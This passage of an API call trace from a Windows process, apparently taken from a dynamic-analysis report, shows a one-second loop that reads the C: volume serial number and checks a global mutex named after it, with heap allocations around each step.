GetProcessHeap () returned 0x550000 [0230.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0230.659] GetProcessHeap () returned 0x550000 [0230.659] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0230.659] GetProcessHeap () returned 0x550000 [0230.660] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0230.660] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0230.660] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0230.660] CloseHandle (hObject=0x1c4) returned 1 [0230.660] GetProcessHeap () returned 0x550000 [0230.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0230.660] GetProcessHeap () returned 0x550000 [0230.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0230.660] Sleep (dwMilliseconds=0x3e8) [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0231.671] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0231.671] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0231.671] GetProcessHeap () returned 0x550000 [0231.671] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0231.671] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0231.672] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0231.672] CloseHandle (hObject=0x1b4) returned 1 [0231.672] GetProcessHeap () returned 0x550000 [0231.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0231.672] GetProcessHeap () returned 0x550000 [0231.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0231.672] Sleep (dwMilliseconds=0x3e8) [0232.685] GetProcessHeap () returned 0x550000 [0232.685] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0232.686] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0232.686] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0232.686] GetProcessHeap () returned 0x550000 [0232.686] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0232.686] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0232.687] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0232.687] CloseHandle (hObject=0x1c0) returned 1 [0232.687] GetProcessHeap () returned 0x550000 [0232.687] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0232.687] GetProcessHeap () returned 0x550000 [0232.687] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0232.687] Sleep (dwMilliseconds=0x3e8) [0233.699] GetProcessHeap () returned 0x550000 [0233.699] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0233.699] GetProcessHeap () returned 0x550000 [0233.699] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0233.699] GetProcessHeap () returned 0x550000 [0233.699] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0233.699] GetProcessHeap () returned 0x550000 [0233.699] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0233.699] GetProcessHeap () returned 0x550000 [0233.699] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0233.699] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0233.699] GetProcessHeap () returned 0x550000 [0233.699] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0233.699] GetProcessHeap () returned 0x550000 [0233.699] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0233.700] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0233.700] GetProcessHeap () returned 0x550000 [0233.700] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0233.700] GetProcessHeap () returned 0x550000 [0233.700] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0233.700] GetProcessHeap () returned 0x550000 [0233.700] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0233.700] GetProcessHeap () returned 0x550000 [0233.700] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0233.700] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0233.700] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0233.700] CloseHandle (hObject=0x1b4) returned 1 [0233.700] GetProcessHeap () returned 0x550000 [0233.700] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0233.700] GetProcessHeap () returned 0x550000 [0233.700] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0233.701] Sleep (dwMilliseconds=0x3e8) [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0234.714] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0234.714] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0234.714] GetProcessHeap () returned 0x550000 [0234.714] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0234.714] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1ac [0234.715] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0234.715] CloseHandle (hObject=0x1ac) returned 1 [0234.715] GetProcessHeap () returned 0x550000 [0234.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0234.715] GetProcessHeap () returned 0x550000 [0234.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0234.715] Sleep (dwMilliseconds=0x3e8) [0235.755] GetProcessHeap () returned 0x550000 [0235.755] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0235.755] GetProcessHeap () returned 0x550000 [0235.755] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0235.755] GetProcessHeap () returned 0x550000 [0235.755] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0235.755] GetProcessHeap () returned 0x550000 [0235.755] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0235.755] GetProcessHeap () returned 0x550000 [0235.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0235.755] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0235.755] GetProcessHeap () returned 0x550000 [0235.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0235.755] GetProcessHeap () returned 0x550000 [0235.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0235.756] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0235.756] GetProcessHeap () returned 0x550000 [0235.756] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0235.756] GetProcessHeap () returned 0x550000 [0235.756] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0235.756] GetProcessHeap () returned 0x550000 [0235.756] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0235.756] GetProcessHeap () returned 0x550000 [0235.756] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0235.756] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0235.756] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0235.756] CloseHandle (hObject=0x1b4) returned 1 [0235.756] GetProcessHeap () returned 0x550000 [0235.756] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0235.756] GetProcessHeap () returned 0x550000 [0235.756] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0235.757] Sleep (dwMilliseconds=0x3e8) [0236.818] GetProcessHeap () returned 0x550000 [0236.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0236.818] GetProcessHeap () returned 0x550000 [0236.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0236.818] GetProcessHeap () returned 0x550000 [0236.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0236.818] GetProcessHeap () returned 0x550000 [0236.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0236.818] GetProcessHeap () returned 0x550000 [0236.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0236.818] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0236.818] GetProcessHeap () returned 0x550000 [0236.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0236.818] GetProcessHeap () returned 0x550000 [0236.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0236.818] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0236.819] GetProcessHeap () returned 0x550000 [0236.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0236.819] GetProcessHeap () returned 0x550000 [0236.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0236.819] GetProcessHeap () returned 0x550000 [0236.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0236.819] GetProcessHeap () returned 0x550000 [0236.819] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0236.819] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0236.819] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0236.819] CloseHandle (hObject=0x1b4) returned 1 [0236.819] GetProcessHeap () returned 0x550000 [0236.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0236.819] GetProcessHeap () returned 0x550000 [0236.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0236.819] Sleep (dwMilliseconds=0x3e8) [0237.847] GetProcessHeap () returned 0x550000 [0237.847] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0237.847] GetProcessHeap () returned 0x550000 [0237.847] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0237.847] GetProcessHeap () returned 0x550000 [0237.847] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0237.847] GetProcessHeap () returned 0x550000 [0237.847] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0237.847] GetProcessHeap () returned 0x550000 [0237.847] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0237.847] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0237.847] GetProcessHeap () returned 0x550000 [0237.847] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0237.847] GetProcessHeap () returned 0x550000 [0237.847] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0237.847] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0237.848] GetProcessHeap () returned 0x550000 [0237.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0237.848] GetProcessHeap () returned 0x550000 [0237.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0237.848] GetProcessHeap () returned 0x550000 [0237.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0237.848] GetProcessHeap () returned 0x550000 [0237.848] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0237.848] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0237.848] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0237.848] CloseHandle (hObject=0x1a8) returned 1 [0237.848] GetProcessHeap () returned 0x550000 [0237.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0237.848] GetProcessHeap () returned 0x550000 [0237.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0237.848] Sleep (dwMilliseconds=0x3e8) [0238.861] GetProcessHeap () returned 0x550000 [0238.861] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0238.861] GetProcessHeap () returned 0x550000 [0238.861] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0238.861] GetProcessHeap () returned 0x550000 [0238.861] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0238.861] GetProcessHeap () returned 0x550000 [0238.861] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0238.861] GetProcessHeap () returned 0x550000 [0238.861] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0238.861] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0238.861] GetProcessHeap () returned 0x550000 [0238.861] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0238.861] GetProcessHeap () returned 0x550000 [0238.861] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0238.861] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0238.862] GetProcessHeap () returned 0x550000 [0238.862] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0238.862] GetProcessHeap () returned 0x550000 [0238.862] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0238.862] GetProcessHeap () returned 0x550000 [0238.862] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0238.862] GetProcessHeap () returned 0x550000 [0238.862] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0238.862] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1bc [0238.862] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0238.862] CloseHandle (hObject=0x1bc) returned 1 [0238.862] GetProcessHeap () returned 0x550000 [0238.862] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0238.862] GetProcessHeap () returned 0x550000 [0238.862] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0238.862] Sleep (dwMilliseconds=0x3e8) [0239.891] GetProcessHeap () returned 0x550000 [0239.891] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0239.891] GetProcessHeap () returned 0x550000 [0239.891] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0239.891] GetProcessHeap () returned 0x550000 [0239.891] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0239.891] GetProcessHeap () returned 0x550000 [0239.891] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0239.891] GetProcessHeap () returned 0x550000 [0239.891] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0239.891] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0239.891] GetProcessHeap () returned 0x550000 [0239.891] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0239.891] GetProcessHeap () returned 0x550000 [0239.891] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0239.891] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0239.892] GetProcessHeap () returned 0x550000 [0239.892] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0239.892] GetProcessHeap () returned 0x550000 [0239.892] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0239.892] GetProcessHeap () returned 0x550000 [0239.892] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0239.892] GetProcessHeap () returned 0x550000 [0239.892] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0239.892] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1bc [0239.892] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0239.892] CloseHandle (hObject=0x1bc) returned 1 [0239.892] GetProcessHeap () returned 0x550000 [0239.892] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0239.892] GetProcessHeap () returned 0x550000 [0239.892] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0239.892] Sleep (dwMilliseconds=0x3e8) [0240.978] GetProcessHeap () returned 0x550000 [0240.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0240.978] GetProcessHeap () returned 0x550000 [0240.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0240.978] GetProcessHeap () returned 0x550000 [0240.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0240.978] GetProcessHeap () returned 0x550000 